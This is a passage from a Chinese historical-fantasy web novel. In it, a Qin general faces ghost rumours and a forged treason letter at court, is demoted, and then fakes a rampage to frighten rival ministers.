“嗯……腿也治。”
药无医恭敬道,“爵爷,这女孩的病确实能治,不过需要的药材也是真贵,您看……”
赵诚俯视着他,“你之前在她俩那里骗了那么多钱,不够你治病吗?”
药无医摸了摸鼻子,有点尴尬道,“那个,都用完了……”
眼看赵诚面色不善,他又话头一转,“不过,我师弟精通针法,也可治好此病,就是腿不太好治……”
赵诚大手一挥,“把他给我赶出去。”
“赚够了钱,买好了药再回来!”
“给你三日时间,三日之后,还没回来,你就自己挖个好坑等死吧。”
药无医欲哭无泪,被丢出了爵府。
江湖第一**犯又回到江湖,还带着要命的任务,那自然又是一番神头鬼脸的操作。
说是三日,但到了第二天,药无医就鬼鬼祟祟地钻回了爵府。
不但药凑齐了,还带了两大包金子回来。
他跪在地上,将金子奉上。
“爵爷,小的干了最后一票大的,这些都是孝敬您的!”
“等那些刺客发现了,还会送上门来,到时候我帮爵爷用**控制他们,让他们尽掌于爵爷之手。”
人才啊!
不愧是做骗子的,下的都是连环套,不但要那些刺客的钱,现在连他们的人也不放过了……
第123章 神行奔命雪献舞,亡魂夜哭惑军心!
诸国针对赵诚的事情柳跖早就知道,但却不知道,暗地里竟然有如此之多的暗流涌动。
无穷无尽的阴谋布局潮水般袭来,而赵诚却总能料敌先机,轻松点破敌国许多布局,举重若轻一般摧毁大部分计划。
他明明只是一名刚刚崛起的新贵大将,但却好似早有无穷布局一般,各国秘士之中,都好像有他的暗子一般。
不过几日时间,柳跖一直奔行在路上,拿着赵诚给出的精准无比的信息,轻而易举的完成各种任务。
这些信息实在太准确了,他就算想要摸鱼也不敢。
再加上他行动速度够快,完成任务效率极高。
于是几天下来,差点成了血衣楼的头牌。
也是欲哭无泪。
而另一边,姬雪儿抵达爵府之后,理智和情感在不断对抗。
见不到赵诚时,她的理智还能稍稍占据上风。
可是一旦见到赵诚,便失去了理智,只想时时刻刻常伴赵诚左右。
几日下来,深受折磨。
不过很快,她就想通了。
自己对付赵诚,是为了救出父亲。
可若是帮助赵诚,却可以覆灭赵国,到时候也能救出父亲。
如此一来,她便再无挣扎,任由理智沉沦。
不但主动告知了赵国的行动计划,还提出要帮助赵诚破灭赵国,更是每日给赵诚献舞。
导致不光断玉感受到了危机感,流萤也是大有危机感,每日精研舞蹈技艺,生怕哪天失了业。
……
颍川郡襄城之外,冷月高悬。
光华如霜铺在暗红地面上,多日前的血流成河,导致现在这城门之外还能够闻到血腥之气。
城头之上,火把通明,一些守城的卫卒围坐在篝火旁。
火光明明暗暗,一名卫卒正在悄声说着什么,而周围的卫卒则是在聚精会神聆听,脸上时不时露出惊恐之色来。
“……据说那采生折割之术极为残忍,被此术杀戮之人,死前会遭受无尽的痛苦,永世不能超生不说,亡魂还会日夜受苦,终夜徘徊在**之地,哀嚎诅咒敌军,甚至会有亡魂索命!”
一名年轻的卫卒脸色一白,眼睛惊恐地看向城下黑暗笼罩的地方,那里的地面还是暗红色。
风一吹,会有腥风扑来。
就在一段时间以前,那里曾有尸山血海堆叠,全是那大将军赵诚屠戮的城卒!
结合眼前士卒所说的故事,他顿时感觉城下的黑暗之中,好似有影影重重,不由得向后缩了缩,坐到了城墙靠里面的一侧,才感觉安全了一些。
“哈哈哈,二柱子,看你吓的,你不会真以为会有亡魂索命吧?”
有老卒哈哈大笑。
二柱子也是脸色一红,辩驳道,“谁说得准,上将军若不是会采生折割之术,怎么会在一个月时间里,愈战愈勇?”
此话一出,周围一阵安静。
众卒面面相觑,“他还真信了?”
“你别说,细想一下,这事或许还真有可能。”
“你们谁见过以一人之力,把城墙砸出一个大洞来的猛人?”
“是啊,据说上将军一个人一把大戟,就能够杀穿一座城,屠戮数千人,咱们能在乱军之中,杀上一两个都算是光宗耀祖了。”
“少扯淡,上将军那是天神下凡,怎会使用妖法?”
“这定是敌国惧怕我大秦的血屠阎罗,从而传播出来的谣言,不可相信!”
“就是,上将军是我大秦英雄,有他在,我们秦军自是攻无不克战无不胜,不可上了敌国的当,此事就当个乐子听就是了。”
“就算上将军真的会采生折割之术,那也是给敌人用的,我们若是有幸跟随上将军打仗,只会分到大股军功!”
就在近些时日,关于赵诚为施展“采生折割之术”而屠戮城卒,吸纳精血以提升力量的传言越传越广。
军中士卒本就对赵诚极为狂热推崇,只要是关于血屠阎罗的传闻,所有人都极为感兴趣。
而因为传闻中赵诚变强的速度太快,力量强大的程度也实在夸张。
所以关于赵诚如何变强一时,是所有士卒最感兴
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趣的话题之一。
这个采生折割说法一出,顿时流传极广。
虽然说许多人都并不相信,但当个鬼故事听,也算是作为军中生活的一种娱乐。
可是传播的广了,听的人多了,难免就会有人细思极恐,从而相信了这种说法。
年轻的二柱子将信将疑,“可是听说,这采生折割之术不光会吸收敌人精血,还会吸收自己人……”
“放屁!”一名一直蹲坐在黑暗中默不作声的老卒突然怒斥,“你们可曾跟随过上将军打仗?”
众士卒摇头。
“我之前是三川郡的郡兵,曾随蒙将军攻韩,有幸见过赵将军的神姿。”
“赵将军锐不可当,确实可以一人之力先登攻城,破敌擒将,神勇无比。
但他从不吃独食,不但会护着随他打仗的士卒减少死伤,还会将重伤的敌军扫落城头,分给大家军功。”
“战场上,他从来身先士卒,抵住最凶猛的敌军洪流,最危险的地方,他去,最凶狠的敌人,他来杀。”
“正因为有他在,我们这一部本该死伤最多的轻步兵营,死伤数目才少到了前所未有的地步。”
“整个攻韩一战,赵将军部下死伤不超过三千!”
“他会不会采生折割之术我不知道,但谁敢说他残害部下,老子活劈了他!”
老卒瞪着一双布满血丝的眼睛,竟是杀气弥漫。
众多新卒连连告饶。
却在这时,城下黑暗之中,有若隐若现的哀嚎啼哭之声,随腥风飘荡而来。
这声音哀怨凄厉,丝丝缕缕地如同凉风般,往人的心里钻。
所有士卒瞬间汗**倒竖,头皮都要炸开来。
呼啦一下,全都爬到了城墙里侧去。
然而随风飘来的凄厉啼哭声却是越来越大,听得也是越来越清楚。
这声音,时而如孩童泣血,时而似老妪嘶喊,夹杂着甲胄碎裂、兵刃刮骨之声。
“呜……血屠你不得好死……”
“他杀我时,剥了我的皮做鼓面,抽了我的筋做弓弦!
第124章 血屠不死,天谴必至!秦军必败!
凄厉的啼哭声音随风飘来。
一开始还有些若隐若现,但不过一会儿的功夫,这声音就变得真切尖利起来,似有无数冤魂同时嘶吼。
“他杀我时,剥了我的皮做鼓面,抽了我的筋做弓弦!
夺了我的阳寿增他的凶力!这哪是杀敌?这是采生折割的妖术啊!”
“我的心肝被他挖去喂了恶犬!我的魂魄被他锁在兵器里,日夜受煞气焚烧!
他每杀一人,就多一分妖力,可我们的怨气冲天,老天爷都看在眼里!”
“还有人跟随这妖孽打仗?嘻,等着吧!等他吸够了活人的阳气,下一个被剥皮折骨的就是你们!”
“你们可敢安然入睡?我们会拉你们做垫背!
他造的孽,要你们秦军来背!要你们秦国来背!
你们的国君,百姓,都要承担这滔天罪孽!!
全都不!得!好!死!”
“血屠不死,天谴必至!秦军必败!必败啊——!”
哀嚎与诅咒化作声浪冲上城头,让无数士卒脸色泛白。
就连之前为赵诚说话的那老卒也是惊疑不定的看着夜色之中。
这声音实在太过真切,又凄厉哀怨,说是亡魂嚎哭确实符合。
可打过这么久的仗,哪次也没有如此情况发生啊。
难道大将军真有采生折割之术?
城外的嚎哭声,渐渐地都传到城里去了。
整个城池之中的百姓,都为之瑟瑟发抖,不敢入睡。
第二日,此事已经传遍了军营和全城。
“听说了没有,那血屠阎罗会采生折割之术,杀敌能够增加妖力,惹得城外现在是亡魂徘徊,要索命呢!”
“这几日还是不要出城去了,太危险了,尤其是晚上,万一路过的时候被亡魂索命,那可完了!”
“我昨天晚上听得很清楚,这些亡魂怨气很大,不光要锁将军的命,就连秦国的百姓都不放过呢!”
“这可如何是好?万一哪天这些亡魂冲到城里来,不就糟了!”
一些迁移过来的秦人惶恐不安,整日都生活在恐惧之中。
而一些原本的韩人则是暗暗叫好,甚至有人在城中暗暗祭奠城外亡魂。
事情传播的很快,在整个颍川郡都掀起莫大恐慌来。
几乎所有人都知道了赵诚会使用采生折割之术,如今那些被他屠戮的亡魂前来索命了。
“……郡守大人,如今不光是襄城,赵将军灭韩时所过之处,城外都有亡魂徘徊,将士们听得很清楚,绝不是幻觉,现在如何是好?”
王腾看着文牍眉头紧皱,他根本不相信什么亡魂索命,心中断定这是敌人的计谋。
“哼,装神弄鬼。”
“命各方守将在城外布置埋伏,这声音一出现,立刻循声去探查,本官倒要看看是谁在装神弄鬼!”
……
是夜,阳翟、襄城、长社等城池之外,都有将领带着军士,暗中潜伏。
这些军士许多都是曾参与灭韩一战的秦军,身上怀有杀伐之气。
而且对于赵诚十分崇敬,胆气也壮,并不畏惧所谓亡魂。
按照他们的话来说,真是亡魂又如何?
将军能够杀掉对方一次,自己等人就能再杀对方一次!
若是有人装神弄鬼,今夜就为将军正名!
乌云遮蔽了月光,城外的平原上越发昏暗。
有老秦军隐藏在暗中,等候那声音出现。
寒风掠过昏暗平原,丝丝缕缕的呜咽声突然传来,听的人心里发凉。
“我好冷……帮我把骨头拼起来……不然……下一个就是你……”
将领冷笑一声,“上,把这些装神弄鬼的都给我抓起来!”
一群老秦军突然暴起,从四面八方冲入黑暗之中。
然而那风中呜咽陡然凄厉起来,众将士只觉得脑袋迷糊了一瞬间。
而后撞入黑暗之中,竟好似迷路了一般,四周的同袍都不见了。
而眼前全都是死状惨烈的尸体。
这些尸体趴在地上,还在流淌鲜血。
明明已经死去,口中却能够传出呜咽诅咒的声音来。
更有被劈断了脖子,甚至劈成了两断的尸体突然动了。
它们怪形怪状地爬了起来,蜂拥而上,冲着秦军抓来。
就算是老秦军,见此情境,那
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也是头皮发麻,一股凉气从脚后跟直接窜上了天灵盖。
真有亡魂!?
“杀!”
有胆气极壮的老秦军拔剑就冲了上去,对着“亡魂”一顿劈砍,但这些亡魂就像是梦幻泡影一般,根本触碰不到。
反而越来越多的亡魂伸手向着他们抓来,甚至趴在他们的身上,要喝他们的血,吃他们的肉!
这下,就算是胆子最大的秦军那也是亡魂皆冒。
更不要说一些本身胆子就不大的秦军了。
当是时,那是一阵鬼哭狼嚎,惊恐的尖叫声传遍城外。
无数城头守卒只见黑暗中喊杀声大作之后,无数秦军惊恐无比争先恐后逃回城中。
就连将领都是脸色苍白如纸。
“完了,不是装神弄鬼,真有亡魂索命啊!”
如此一来,王腾不但没能够找到装神弄鬼之人,反而做实了采生折割,亡魂索命的谣言。
这谣言在短短时间内愈演愈烈,飞快的传遍了颍川郡,而后长了翅膀一样,传遍了秦国,更是飞到了咸阳城中。
“听说了吗,血屠将军会采生折割之术,那些被他杀掉的韩人,现在都化作了亡魂,要来索命呢!”
“颍川郡的军队亲自去探查,差点全都被亡魂抓住,剥皮抽筋!”
“现在颍川郡那几个被屠过的城都是城门紧闭,百姓都不敢出入了!”
“这可如何是好,要是那些亡魂怨气太大,会不会到这边来,索咱们得命啊。”
“冤有头债有主,可千万别来找我们这些小民啊。”
“都怪那个妖人,若不是他使用采生折割的妖术,怎么会惹得亡魂怨气冲天,要来索命?”
“此人不祥,不祥啊!”
百姓们的态度在迅速转变。
许多百姓本就是大字不识一个的农夫,最是相信鬼神之说。
没有亡魂索命,血屠阎罗就是秦国的英雄,锐不可当的大将军,受到万众敬仰。
可如今有亡魂索命,且消息之中,那些亡魂明确表示,不光要锁赵诚的命,还要锁秦国百姓的命。
这下秦国上下,反而对赵诚怨念颇重。
第125章 诸臣借题发挥,赵诚叛国明证!
血衣军营地之中。
“将军,这谣言越传越广,已经一发不可收拾,要不我们亲自去一趟,把装神弄鬼的人抓出来杀了!”
冯全有些忧虑的对着赵诚说道。
赵诚摇了摇头,“无妨,让谣言再飞一会儿。”
他对此早有预料,任由发展,不过是将计就计。
而一旁的扶苏此时则是惊疑不定,“万一……不是谣言呢?”
赵诚笑道,“真有亡魂,那就屠灭亡魂。”
“有何可怕?”
扶苏愕然。
却听赵诚再次说道,“你可知赵国有阴山谍府,其中胡谍擅长以喉音致幻,这不过是一种**战,他们出招,我们接招就是。”
扶苏这才明白,哪有什么亡魂索命,不过是方士伎俩!
“将军明白,可秦国百姓却不懂这些,朝中大臣恐怕也不会善罢甘休。”
赵诚笑道,“那正合我意。”
……
“陛下,近日颍川郡治下流言汹汹,谓赵诚将军‘采生折割’!
更有‘亡魂夜哭、诅咒秦军’之说,臣初闻时亦斥为虚妄,然流言四起,恐非空穴来风啊!”
大殿之上,昌平君当先开口,提起亡魂索命之事。
而其身后派系大臣也是随即跟上,发表谏言。
“赵诚将军勇则勇矣,然其崛起太速,战力之强已非人力可及!”
“臣听闻其襄城一战,独身破城屠戮数千,血肉成河!”
“灭韩诸战,敌军尸骨未寒而其威势日增,此等异状,岂可视作寻常?”
“恐怕这采生折割之术,确有其事!”
“臣还听闻,采生折割乃秘传妖术,以生人精血、亡魂怨气炼己身,虽可逞一时之凶,却必遭天谴!”
“今亡魂夜哭于营外,正应此兆!
秦军乃王师,顺天应人方得天下,若纵容此等妖术横行,恐触怒上苍,降下灾厄不说,更令六国笑我大秦用妖邪治国,寒了天下士子之心啊!”
此话一出,众臣之中就算原本还有点将信将疑的,也开始暗暗点头了,心中赞同起来。
昌平君突然叹息一声,似乎颇为惋惜。
“臣非质疑将军战功,然为大秦万世计,恳请陛下暂收赵诚兵权,彻查其术是否为禁术,以安军心、顺天意!”
嬴政不言,长目深邃如潭。
淳于越见状,知道力度还不够,于是立刻站出来谏言。
“陛下,昌平君所言极是!
《礼记?9?9王制》有云:‘执左道以乱政,杀;假于鬼神、时日、卜筮以疑众,杀。’
赵诚之能,已超乎常理,兼之流言中采生折割之说,恰合‘左道乱政’之兆!”
他义正言辞,斩钉截铁,“昔商纣信妖术以害忠良,终致牧野之败!周幽王媚妖姬而乱礼法,遂有犬戎之祸!
今赵诚以征战为名,行屠戮之事,军中流言沸沸扬扬,‘亡魂夜哭’已动摇军心。
士卒闻其名而股栗,见其旗而心疑,如此何以征战六国?”
“更甚者,其术若真为‘采生折割’,则是以残暴逆天理、以杀戮违王道!
我大秦欲统一天下,当以仁义为盾、礼法为矛,而非恃妖术、靠凶戾!
若陛下纵之,恐失民心、逆天道,六国诸侯更将以此为借口,引得民心离秦,我大秦一统大业危矣!”
他一揖到底,“臣恳请陛下明辨妖邪,罢黜赵诚,以正纲纪、安天下!”
“陛下!昌平君、淳于越大人所言,实乃因流言惑乱而危言耸听!”
蒙武按剑而立,声若洪钟,“臣与赵将军同历攻韩之战,亲眼见其于万军之中,先登破城却护我大秦士卒如手足!
方城隘口一战,他率二百锐士先登破阵,斩将夺旗后,第一件事便是收拢伤兵、记载伤亡将士名单,更是拖着数百伤势,让医官先治疗其他重伤士卒。
若真有‘采生折割’之术,何必护我军卒?
若真靠妖术增力,何必身先士卒、浴血奋战?”
“至于‘亡魂夜哭’,不过是敌国方士弄鬼作祟!
六国惧赵将军如虎,不敢正面交锋,便用此等阴私伎俩动摇我军心!
昔日乐毅破齐,田单亦曾用‘火牛阵’诈鬼神,此乃兵家诡道耳!
若因几声鬼哭便疑我大将,岂不让六国笑我大秦无识人之明?”
他凝目沉声,“赵将军之功,是斩将夺旗的鲜血换来的。秦军之威,是实打实的胜仗打出来的!
凭流言废栋梁,才是真要
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动摇我大秦根基!
臣恳请陛下明察,勿信妖言,再任赵将军驰骋疆场!”
王翦也是补充道,“陛下,妖术流言,看似攻赵将军,实则是攻我大秦军心。”
“赵将军崛起虽速,然每一战皆有战报可查、每一刀皆有敌军首级为证!
他破韩都,斩将无数,拓地千里,此等功勋,岂是‘妖术’二字可抹煞?
若靠妖术能成此功,诸国何不人人学之?”
“赵将军之勇,是大秦之刃;赵将军之威,是镇敌之盾!
今诸国合纵之心未死,正盼我大秦自斩臂膀!若废赵将军,恰中其计!”
“至于‘天谴’之说,更是无稽!我大秦代周而起,靠的是变法强兵、耕战立国,非靠鬼神庇佑!”
“臣请陛下斥退流言,重赏赵将军以安军心,令其再率锐士,直捣六国巢穴,以实绩破尽妖言!”
昌平君淳于越等人闻言,顿时又要驳斥。
嬴政却看向一直垂手立于殿中不发一言的赵诚,“赵卿,汝作何想?”
赵诚踏前,如睡虎苏醒,周围众臣具惊,退出一条路来。
这屠子何时来的!?
这不完了,刚刚那些话,岂不是都被他听去了?
赵诚揖礼道,“陛下,臣请率血衣军前往颍川郡破之。”
“有亡魂,就度了亡魂。”
“有方士,就屠灭方士。”
“如此,流言自破,军心稳固,可顺势攻赵矣。”
又来了!
要不是提前和蒙武王翦商讨了攻赵事宜,还真让你小子催到了。
不过这一次,寡人可是有备而来。
他脸上浮现一丝“早有预料”的笑意。
昌平君见状,顿时察觉不妙,对着自己后方的外戚官员,使了一个眼色。
这名外戚官员顿时会意,立刻上前一步,双手呈上一份密信。
“陛下,万万不可!”
“臣截获一份密信,乃是赵将军与赵国往来之物,内容之中,详述了赵将军与赵国合谋,瓜分秦国一事!”
“赵将军有叛国之嫌,若是命他去攻赵,恐怕正合他意,将与赵国合谋,**我大秦啊!”
“臣请陛下罢黜赵诚,不可授其权柄,予其叛国之机!”
第126章 殿中诛心,秦王弃用,昌平君阴阳赵诚!
此为诛心之言!
蒙武王翦等人都是脸色一变,做武将的最怕受到君王忌惮。
越有能力的人,越是如此。
赵诚八日灭韩,如今更是手掌血衣军,不论是个人武力,还是麾下武力,都已经达到了秦国的塔顶。
可以说他若是有反意,几乎是无人能够反制。
这事情若是不提出来还好,一旦提出来,不论如何嬴政都会有所忌惮。
到时候就算能够证明密信是伪作的,那也不能完全打消嬴政的疑虑。
可谓是顶尖的阴险阳谋。
眼看嬴政的面色沉了下来,蒙武心中一急。
他大步上前,一把将那叛国密信拿在了手中,浑身大将威势汹汹而起,惹得那名外戚官员不敢有丝毫反抗。
蒙武看了一眼密信,怒哼一声,“此等拙劣伪作,也敢拿出来污蔑忠良?”
“赵将军一战而震慑诸国,诸国上下视他为眼中钉、肉中刺,恨不得生啖其肉,怎会与他‘合谋瓜分秦国’?!”
“再者,此信所谓‘合谋’,连具体时日、**、联络之人都含糊其辞,通篇空言!真正的密信,岂会如此粗疏?
分明是有人刻意伪造,想借‘叛国’之名置赵将军于死地!”
“陛下!臣敢以项上人头担保,赵将军对大秦忠心耿耿!他若是想要叛国,何必在攻韩一战中舍生忘死?”
“此等舍生忘死之将,岂容尔等用一纸伪信玷污!
请陛下即刻彻查此信来源,揪出幕后构陷者,还赵将军清白!”
王翦也是说道,“昌平君**阻伐赵,故献伪信!其心可诛!”
“臣请陛下明察:伪信可辨,忠奸可鉴!”
然而任由他们如何说,嬴政的面色都是依然阴沉。
淳于越见状开始发力,“二位将军还没调查,就能断定这信使伪造的?”
“再者说,此密信虽未实证,却已露‘疑似’之迹!《春秋》有云:‘疑罪从有,防微杜渐’。
若待其真与赵国勾连,兵临咸阳城下,再悔之晚矣!”
“此人杀伐太重,又有武力超群,如今更是手掌血衣军,若是真有不臣之心,则秦国危矣!”
听到淳于越的话,嬴政的面色明显更加阴沉了一些。
“把信给寡人呈上来!”
赵高眸中闪过一丝笑意,低着头几步下了殿堂,将密信拿了回来递给了嬴政。
嬴政看着密信,默不作声。
大殿之上却是愈发沉闷,好似雷霆暴雨将至前的乌云密布。
嬴政指尖叩击案几,目光沉凝如渊,扫过阶下群臣,最终落在赵诚的身上,语气听不出喜怒,“赵将军,你如何自辩?”
赵诚挺立殿下,不卑不亢说道,“敌国诡谲伎俩罢了,臣清者自清。”
他暗叹嬴政演技真好,与之相比自己倒像是个面瘫了。
嬴政冷笑一声,“好一个清者自清。”
“赵将军之功,寡人记着;诸国流言,寡人也看到了。”
“然‘合谋分秦’四字,触及底线。”
他抬手止住欲开口的蒙武,声音陡然转冷。
“他破韩败赵,锐不可当,是大秦之幸。
可若真有二心,便是大秦之祸。
朕宁可错疑,不可错放。
六国虎视眈眈,寡人赌不起,大秦也赌不起。”
“颍川郡刚定未久,需人镇抚。
赵诚……暂去那里,领郡尉职,无诏不得还咸阳。”
他视线掠过那份密信,似有未尽之言,却终是一挥手,“此事,就这么定了。”
“待彻底查清楚来龙去脉之后,再掌血衣军便是。”
“臣,领命。”
赵诚面色亦是无悲无喜,领命之后,就站到了武将一侧的角落,垂手低眸而立。
蒙武对着淳于越昌平君等人怒目而视,心中有一团火,几乎要炸了胸膛。
赵诚正是如日中天的时候,前途大好。
本是受到大王看重的国柱上将!
更将血衣军练至如今程度,远超之前的铁鹰锐士。
再加上其锐不可当的武力,有他在一日,诸国国君都是如芒在背,寝食难安。
大王更是准备攻赵了,如此关键时期,只要赵诚能上战场,灭赵必是唾手可得!
然而在这关键时期,如此忠臣良将,竟然因为一张伪造的叛国密信而被弃之不用!
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如此神勇的少年神将,锋芒没有折在攻伐敌国的战场上,却折在了这朝堂钩心斗角之上。
何其可笑!
何其荒唐!
这些文臣,何其阴险啊!
饶是一直以稳扎稳打兵法著称的蒙武,此时也忍不住了,上前一步就要怒骂些什么。
却被王翦突然拉住。
王翦对其摇了摇头,示意不可因怒生错,乱了阵脚。
蒙武被这一拉,也瞬间冷静下来,战场上最忌讳情绪用事,他今日竟然被愤怒冲昏了头脑,差点乱了阵脚。
他暗叹一声,看了看一旁垂眸而立的赵诚,心中一阵悲凉。
这孩子是随他入军,一步一步杀到如今这个地位上的。
眼看他起高楼,前途无量。
又眼看他高楼塌,未来无光。
他心中说不出的愤懑,说不出的憋屈。
出了此事,嬴政似乎也意兴阑珊,挥了挥手,令百官退去。
大殿之外,昌平君大摇大摆走在前面,脸上挂着笑意,见赵诚龙骧虎步而过,不由说道,“上将军不必忧虑,此事还未盖棺定论,是否叛国,还要大王查明。”
“有朝一日,或可官复原职啊。”
“不过,以将军之勇,若是真有叛国之心,未免太过骇人,属实难防,也希望将军理解大王的心情啊哈哈哈哈……”
当初在殿前,赵诚戟指相国,发出诛心之言,使昌平君损失惨重。
他更是一口气憋了许久。
如今在这殿外,形势逆转,昌平君反击诛心,终于是扬眉吐气,心中那是说不出的畅快。
正这时,一只大手骤然出现,一把抓住了昌平君的脖领子,将其扯了个趔趄。
昌平君一时不查,整个人都被大手抓了过去,一抬头看到了蒙武的怒眸。
“此事,本将定会查明!”
“若是有人勾结敌国,构陷忠良,必遭我秦法重刑罚之!”
“昌平君,还是不要高兴得太早!”
见这架势,一旁正想趁机奚落赵诚几句的淳于越也是把话又咽了回去,连道,“有辱斯文,有辱斯文!!”
“这是殿外,怎可如此粗鲁!”
第127章 血屠殿前发疯?逞凶追杀诸臣!
昌平君挣扎了两下,却根本挣脱不开蒙武的铁手,迎着那双怒眸,他却笑了,“怎么,蒙将军还要在殿前逞凶不成?”
“哼!”
蒙武一撒手,昌平君顿时踉跄几步,差点一屁股坐在地上。
他慢条斯理地整理了相服,笑眯眯道,“蒙将军,你虽无理,但吾还是要给你几句忠告。”
“赵将军叛国之嫌未脱,你最好还是不要和他走得太近,不然若是也沾上了叛国之嫌,恐怕……”
赵诚突然看了一眼蒙武,“蒙叔你说,反正我现在也背上了叛国之嫌,干脆再杀几个相国大臣,罪名也就和叛国差不多吧?”
蒙武一怔。
而昌平君诸臣则是瞬间脸色大变!
这屠子疯了!
竟然要再殿前**!?
“你……你放肆!”
“这可是章台宫!你敢在殿前**?”
“吾等都是秦国重臣,敢杀吾等,罪不容诛!”
赵诚看了看诸臣,杀机渐显,“什么罪,还能比叛国大?”
诸臣脸色再变,看着赵诚某种蠢蠢欲动的火焰,真正感到了死亡的危机。
昌平君也有点麻了,看了看大殿之中,毫无动静,大王似乎没有察觉这边的变数。
他瞬间心惊肉跳。
狗急了还跳墙,何况这血屠?
这家伙本就年轻气盛,又**无数,残暴无比,受了刺激,做出什么都有可能的!
要是真被他暴起杀了,那可就亏**!
昌平君话头一软,“上将军万莫冲动,这叛国之罪只是嫌疑罢了,要不了多久,大王定会查明真相,到时候你依然还会受到大王重用,前途无量!”
“千万不要自误!”
淳于越也是缩在人群之中,“是极是极,要学会惜身啊,君子待时而动,如潜龙腾渊……”
赵诚摩挲了一下手掌,似乎有些手痒,“什么前途无量,什么待时而动,如今被弃置不用,我还如何上战场**?”
“唉,吾好**,如今多日没杀,实在手痒难耐。”
“眼看日后也没什么机会**了,实在有点忍耐不住。”
说着,他咧嘴一笑,开始朝着昌平君诸臣靠近。
他那大步一迈,双方距离瞬间拉近。
昌平君等人头皮一麻,诸臣齐刷刷连连后退。
“将军莫冲动!”
“此事还有转机啊!”
赵诚越走越快,又是几大步飞快靠近,“什么转机,你们忍一下,我**很快的……”
这凶人如险峰崩压而来,一股说不出的惊恐瞬间从脚后跟窜到脑门。
诸臣再也挺不住,扭头就跑。
那是群臣两股战战,连滚带爬,狼狈逃窜。
就算是昌平君,也是不敢有片刻停留,撩起相服下摆,不顾形象跑得飞快,看起来竟然很像一只被老虎追着咬而逃窜的大猩猩。
赵诚在身后猛追,群臣在前面疯狂逃窜,口中还大呼小叫。
“陛下!!救命!”
“血屠要在殿前**了!!”
"郎中令呢!快来,快来啊!!血屠逞凶啊!"
“成何体统,成何体统!?”
“快跑!那屠子要追上来了!”
“别挤!别挤啊!!”
“谁推我?不当人子乎!?”
“哎呀,完啦!!”
有人奔跑之间,踩到了衣服下摆,摔倒在地,眼看赵诚来袭,脸都吓白了,闭上眼满心绝望地等死。
结果半晌也没动静,一睁眼看到赵诚饶有兴趣地看着他的官袍下摆。
“咦?莫不是吓尿了?”
“啧,这样的货色上了战场,敌军一吼怕是已经吓**,不配一杀。”
“算了。”
赵诚正了正大氅,大步走出殿门去。
门外诸臣远远警惕围观,见赵诚真的远去,才长出了一口气。
昌平君抹了把汗,恨恨道,“若不是我门客尽皆被他杀了,岂会如此狼狈。”
“不行,还要重金聘请更厉害的门客,让他们每日等在宫外才行。”
而那尿了裤子的官员则是羞愧欲死,久久没起来,直到家仆送了衣袍来,才鬼鬼祟祟出宫去了。
……
大殿之中,嬴政回想着自己刚才的表现,对于自己的演技很是满意。
将那密信拿起来看了看,觉得有点没眼看。
这狗爬
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一样的字迹,伪造起来也挺困难的吧。
怪不得密信之中没有详情,完全是因为这破字又乱又大又难看,杂乱无章,一张布帛完全写不下太多字。
能写成这样,敌国的谍子也算是用心了。
正这时,外面传来群臣喧嚣的声音,大呼小叫,鸡飞狗跳。
嬴政眉头一皱,“怎么回事,顿弱,你出去看看。”
顿弱出去一看,顿时乐了。
那殿外,赵诚正不紧不慢的追在后面,群臣亡命一般奔逃,狼狈无比。
再一细探,便知来龙去脉。
回来之后,汇报给嬴政。
“那昌平君似乎对凯旋试锋时的事情耿耿于怀,今日借题发挥,阴阳怪气。”
“赵将军假装发疯,要杀了群臣……”
顿弱将场面细细描绘给嬴政。
嬴政听完大乐,“哈哈哈哈哈,这小子……”
“真是一点气都不吃,竟把昌平君吓成这般狼狈,把诸臣也是吓得争相逃窜……”
他摇头失笑,再想到那副画面,又实在忍俊不禁。
谁能想到,这些往日里严肃庄重的大臣,竟会被赵诚几句话几大步吓成如此失态模样?
这些家伙天天人模人样,满口引经据典,议论点什么朝政,都要你来我往唇枪舌战,把心眼子转上几千遍,才能定下一件事来。
更能怼得许多武将哑口无言。
这下好了,遇上赵诚了。
这小子也不讲道理,直接发疯要杀了他们。
这些大臣满腹经纶和心计,全都抛到了九霄云外,只恨没多张几条腿,跑得更快一点。
甚至还有人尿了裤子。
这让嬴政都感到一阵畅快舒爽。
“臣以为,赵将军也并不完全是为了出气,如此行为,或许也是为了给敌国一个自暴自弃的假象。”
嬴政自然也想到了,“确实如此,秦王弃用赵诚,血屠殿前发疯,很合理。”
……
亡魂诅咒,密信叛国,秦王弃用赵诚,贬至颍川郡尉,血屠殿前发疯,差点杀了群臣。
朝政上的**消息很快传开。
朝堂上下,宫城之中,引起轩然大波。
第128章 扶苏请兵证诚忠,淳于气绝恨难平!
“将军怎么可能叛国?”
“通敌密信?开什么玩笑,将军只会提着大戟冲进敌国王都,砍了敌国的国君,怎么可能会和敌君通什么密信?”
“这简直就是胡说八道!”
“如此明目张胆的构陷,大王为什么会相信?”
“敢说将军是叛**,我看他们才是叛**!”
“这群浑蛋,打仗的时候看不到他们,如今将军就要攻赵了,他们却来拖后腿!”
第二日,赵诚没有出现在血衣军营地之中。
而关于赵诚叛国被贬到颍川郡做郡尉一事,也是惹得军中哗然。
无数将士无比愤懑。
血衣军中,更是如此。
尤其当他们没有等来赵诚,却等来了蒙恬的时候,这种愤懑达到了巅峰。
若非蒙恬是赵诚旧部兼好友,现在恐怕已经被血衣军活撕了。
“蒙将军,赵将军真的被贬到颍川郡了吗?”
"到底是谁,在构陷我们将军!"
“你告诉我们,我们绝不会放过他!!”
“除了将军,谁也别想率领我们血衣军!”
蒙恬默然无言,半晌之后叹息一声说道,“此为敌国阳谋,借此密信,扩大陛下的疑心,阿诚他本就威望极高,又有无上勇力。”
“这份密信,实在诛心。”
“不过我们已经派人去查明真相,用不了多久,就能够还他清白,大家还请稍安勿躁。”
扶苏默默听着,突然朝着咸阳宫跑去。
“扶苏!”
蒙恬去追,然而如今的扶苏已经不同以往,跑得竟是飞快,他都追赶不上。
扶苏一路疾奔,踏入咸阳宫,直奔章台宫。
早早得到消息的淳于越等候在路上,抚须而笑。
他的得意门生终于要回来了,不需要再受到那血屠荼毒!
公子啊,这一次,先生一定会保护好你!
看着那小小的身影一路奔行而来,直直冲向自己,淳于越说不出的感动。
但是在看到扶苏那将成古铜的肤色,以及眉宇之间的坚毅和些许冷漠,他的心中又说不出的心疼!
你看看,你看看!
这才多久的时间,原先的公子如玉,已经快要变成了粗汉!
那血屠简直是误人子弟!
吾精心栽培许久的公子,竟然在这么短的时间里面就大变模样!
要是这样下去还怎么得了。
还好吾略施巧计,抓准时机出手,终于扳倒血屠,才能救回公子啊!
“公子,臣来迎你回宫学,请……”
他微微弓腰,想要引着扶苏回去宫学。
